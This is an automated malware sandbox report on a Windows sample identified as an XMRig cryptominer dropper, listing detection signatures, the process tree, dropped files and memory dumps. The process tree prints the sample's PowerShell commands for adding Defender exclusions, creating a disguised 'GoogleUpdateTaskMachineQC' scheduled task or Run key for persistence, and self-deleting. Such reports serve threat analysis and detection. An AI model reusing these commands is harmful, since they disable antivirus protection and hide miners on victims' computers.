Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    438s
  • max time network
    1797s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1360
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2876
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2812
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2456
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        PID:1800
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1792
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe qtdiqnkejoz
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:960
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
      1⤵
        PID:3028
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {4D507514-44A5-409E-A579-8C0D60AD61EC} S-1-5-18:NT AUTHORITY\System:Service:
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2764
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2480
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2332

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 1.1MB
              • SHA256 b7e9c5a58864ce1c6063023ca0dc86577712f256fea571f6728a4fc4282e7438
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 723KB
              • SHA256 9ecfb2ea4cb8a1f6dc1d110202fca886b42f71b32b16796924321dc76dfe5be9
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              HOADGYOWOZCWBEPU3UVP.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HOADGYOWOZCWBEPU3UVP.temp
              • Size 7KB
              • SHA256 5f75d359f72f54ae75a0ce1c1a80c209b85727ef0633ae4d15f900bb8a7f7591
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1.1MB
              • SHA256 16211ca62e8532e527b1232fc5214c5fb05732ae2234a62895a1724bdb876fbf
              • MD5 SHA1 SHA512 SSDEEP

              memory/960-73-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/960-67-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1652-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-137-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-70-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-135-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-133-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-131-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-68-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-66-0x0000000000250000-0x0000000000270000-memory.dmp

              memory/1652-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-79-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-74-0x0000000000250000-0x0000000000270000-memory.dmp

              memory/1652-65-0x0000000000230000-0x0000000000250000-memory.dmp

              memory/1652-72-0x0000000000230000-0x0000000000250000-memory.dmp

              memory/1652-64-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1652-63-0x00000000000B0000-0x00000000000D0000-memory.dmp

              memory/1712-12-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/1712-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

              memory/1712-8-0x0000000001F40000-0x0000000001FC0000-memory.dmp

              memory/1712-10-0x0000000001F40000-0x0000000001FC0000-memory.dmp

              memory/1712-9-0x0000000001F40000-0x0000000001FC0000-memory.dmp

              memory/1712-6-0x0000000001F30000-0x0000000001F38000-memory.dmp

              memory/1712-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/1712-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2764-42-0x000000013FB20000-0x000000013FD31000-memory.dmp

              memory/2764-62-0x000000013FB20000-0x000000013FD31000-memory.dmp

              memory/2780-33-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2780-38-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2780-37-0x0000000002BB0000-0x0000000002C30000-memory.dmp

              memory/2780-35-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2780-36-0x0000000002BB0000-0x0000000002C30000-memory.dmp

              memory/2780-34-0x0000000002BB0000-0x0000000002C30000-memory.dmp

              memory/2812-53-0x00000000012C0000-0x0000000001340000-memory.dmp

              memory/2812-52-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2812-51-0x00000000012C0000-0x0000000001340000-memory.dmp

              memory/2812-50-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2812-54-0x00000000012C0000-0x0000000001340000-memory.dmp

              memory/2812-55-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

              memory/2860-49-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2860-46-0x0000000000DD0000-0x0000000000E50000-memory.dmp

              memory/2860-44-0x0000000000DD0000-0x0000000000E50000-memory.dmp

              memory/2860-48-0x0000000000DD0000-0x0000000000E50000-memory.dmp

              memory/2860-43-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2860-47-0x0000000000DD0000-0x0000000000E50000-memory.dmp

              memory/2860-45-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2912-27-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

              memory/2912-0-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

              memory/2940-25-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2940-23-0x0000000002B30000-0x0000000002BB0000-memory.dmp

              memory/2940-24-0x0000000002B30000-0x0000000002BB0000-memory.dmp

              memory/2940-22-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2940-21-0x0000000002B30000-0x0000000002BB0000-memory.dmp

              memory/2940-19-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

              memory/2940-20-0x0000000001E20000-0x0000000001E28000-memory.dmp

              memory/2940-18-0x000000001B510000-0x000000001B7F2000-memory.dmp